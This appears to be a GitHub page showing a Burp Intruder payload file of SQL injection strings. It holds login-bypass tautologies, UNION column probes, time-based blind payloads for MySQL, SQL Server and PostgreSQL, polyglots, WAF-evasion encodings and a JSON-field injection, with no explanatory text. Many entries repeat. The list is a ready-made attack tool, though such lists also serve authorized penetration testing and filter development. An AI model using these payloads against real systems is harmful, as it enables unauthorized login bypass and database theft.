sql-injection-payload-list/burp-intruder-payloads.txt at main · payload-box/sql-injection-payload-list · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
'
"
'--
' #
'/*
' OR '1'='1
' OR 1=1--
' OR 1=1#
" OR "1"="1
" OR 1=1--
" OR 1=1#
admin'--
admin' #
admin'/*
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--
' AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)--
' AND 1=(SELECT COUNT(*) FROM tablename)--
' OR 1=1 LIMIT 1--
' OR 1=1 LIMIT 1 OFFSET 1--
' GROUP BY 1,2,3--
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 10--
'); WAITFOR DELAY '0:0:5'--
'); SELECT PG_SLEEP(5)--
' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)='
' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)='1
1' AND 1=1
1' AND 1=2
1" AND 1=1
1" AND 1=2
' OR TRUE--
" OR TRUE--
' OR 1=1#
' OR 1=1/*
' OR 'a'='a
' OR 'a'='b
' OR 1=1 LIMIT 1
' OR 1=1--
' OR 1=1#
' OR 1=1/*
' OR 1=1;--
' OR 1=1;#
' OR 1=1;/*
') OR ('1'='1
') OR ('1'='1'--
') OR ('1'='1'#
') OR ('1'='1'/*
') OR '1'='1
') OR '1'='1'--
') OR '1'='1'#
') OR '1'='1'/*
" OR "1"="1
" OR "1"="1"--
" OR "1"="1"#
" OR "1"="1"/*
" OR 1=1
" OR 1=1--
" OR 1=1#
" OR 1=1/*
" OR 1=1;--
" OR 1=1;#
" OR 1=1;/*
") OR ("1"="1
") OR ("1"="1"--
") OR ("1"="1"#
") OR ("1"="1"/*
") OR "1"="1
") OR "1"="1"--
") OR "1"="1"#
") OR "1"="1"/*
# Polyglots
SLEEP(5) /*' or SLEEP(5) or '" or SLEEP(5) or "*/
' OR 1=1 --
" OR 1=1 --
' OR '1'='1' { % / * / }
# WAF Bypass & Encoding
%27%20OR%201%3D1--
0x61646d696e
CHAR(39,79,82,39,49,39,61,39,49)
'/**/OR/**/1=1--
'OR%091=1--
'OR%0a1=1--
'OR%0b1=1--
'OR%0c1=1--
'OR%0d1=1--
'OR%a01=1--
'#
'--
'-- -
' OR 1=1 LIMIT 1--
' OR 1=1 LIMIT 1 OFFSET 1--
' GROUP BY 1,2,3--
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 10--
' UNION SELECT 1,2,3--
' UNION SELECT @@VERSION,2,3--
' UNION SELECT version(),2,3--
' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--
' AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)--
{"id": "1' OR 1=1--"}